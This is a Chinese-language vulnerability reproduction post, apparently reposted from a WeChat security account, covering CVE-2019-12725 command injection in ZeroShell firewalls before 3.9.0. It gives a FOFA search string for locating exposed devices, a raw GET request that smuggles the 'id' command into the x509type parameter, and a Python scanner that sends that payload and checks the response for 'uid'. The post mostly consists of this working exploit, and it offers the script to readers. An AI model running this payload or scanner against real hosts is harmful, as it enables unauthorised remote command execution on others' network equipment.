漏洞复现-某防火墙命令执行

  • A+
所属分类:安全文章

免责声明:

由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任。切勿用于未授权测试!本文主要来自日常学习记录


漏洞介绍:

ZoreShell防火墙版本小于3.9.0存在命令执行(CVE-2019-12725),Zeroshell是一个微型的linux发行版本,它功能强大,具有强大的router、radius、web门户、防火墙、virtual**、Qos、 DHCP、dns转发等功能,可以用来安装到服务器上为内网提供网络服务。


FOFA语法:

app="Zeroshell-防火墙"


漏洞POC:

漏洞复现-某防火墙命令执行

GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27 HTTP/1.1Host: xxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0


漏洞脚本:

def poc(url):  print("-"*60)  try:    target = url +"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'"    r = requests.get(url=target,timeout=8,verify=False)    if r.status_code == 200 and "uid" in r.text:      print(url+"  漏洞存在!")      print("n")      print("-"*60)  except:    pass


脚本截图:

漏洞复现-某防火墙命令执行

漏洞复现-某防火墙命令执行

漏洞复现-某防火墙命令执行

获取脚本,回复 ZeroShell

本文始发于微信公众号(Fight Tigers Team):漏洞复现-某防火墙命令执行

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: